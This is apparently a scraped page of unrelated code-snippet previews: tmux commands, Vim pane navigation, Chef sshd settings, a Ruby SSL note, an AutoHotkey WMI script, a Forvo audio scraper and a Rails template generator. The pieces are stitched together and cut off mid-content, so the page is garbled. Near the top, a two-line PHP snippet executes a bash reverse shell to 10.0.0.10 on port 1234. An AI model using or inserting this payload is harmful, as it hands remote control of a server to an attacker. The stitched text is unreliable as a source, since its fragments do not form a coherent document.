start new:
tmux
start new with session name:
tmux new -s myname
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
I use tmux splits (panes). Inside one of these panes there's a Vim process, and it has its own splits (windows).
In Vim I have key bindings C-h/j/k/l
set to switch windows in the given direction. (Vim default mappings for windows switching are the same, but prefixed with C-W
.) I'd like to use the same keystrokes for switching tmux panes.
An extra goal that I've solved with a dirty hack is to toggle between last active panes with C-\
.
Here's how it should work:
default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam' | |
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes' | |
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no' |
There is a long standing issue in Ruby where the net/http library by default does not check the validity of an SSL certificate during a TLS handshake. Rather than deal with the underlying problem (a missing certificate authority, a self-signed certificate, etc.) one tends to see bad hacks everywhere. This can lead to problems down the road.
From what I can see the OpenSSL library that Rails Installer delivers has no certificate authorities defined. So, let's go fetch some from the curl website. And since this is for ruby, why don't we download and install the file with a ruby script?
; Description: Get Process properties via AHK using WMI | |
; | |
; Author: hoppfrosch - 20140206 | |
; | |
; Credits | |
; * http://technet.microsoft.com/en-us/library/ee176712.aspx (by MSDN) | |
; * http://msdn.microsoft.com/en-us/library/windows/desktop/aa394372%28v=vs.85%29.aspx | |
; * http://http://www.autohotkey.com/board/topic/90385-drei-kleine-fragen (by Rohwedder) | |
; * http://www.autohotkey.com/board/topic/72817-how-to-obtain-%E2%80%9Cuser-name%E2%80%9D-from-running-processes/#entry465606 (by Lexikos) | |
PropertyList := "Caption,CommandLine,CreationClassName,CreationDate,CSCreationClassName,CSName,Description,ExecutablePath," |
#!/bin/bash | |
# Forvo scraper | |
language=${FORVO_LANG:-fr} | |
BASEURL="http://forvo.com/search/" | |
AUDIOURL="http://audio.forvo.com/mp3/" | |
word=$1 | |
if [[ -z $word ]]; then | |
echo "usage: " | |
echo "FORVO_LANG=languagecode ./forvo_scraper.sh myword" |
# rails plugin new my_lti_app -T --mountable --dummy-path=spec/test_app -m URL_TO_THIS_RAW_GIST | |
def ask_wizard(question) | |
ask "\033[1m\033[30m\033[46m" + "prompt".rjust(10) + "\033[0m\033[36m" + " #{question}\033[0m" | |
end | |
def yes_wizard?(question) | |
answer = ask_wizard(question + " \033[33m(y/n)\033[0m") | |
case answer.downcase | |
when "yes", "y" |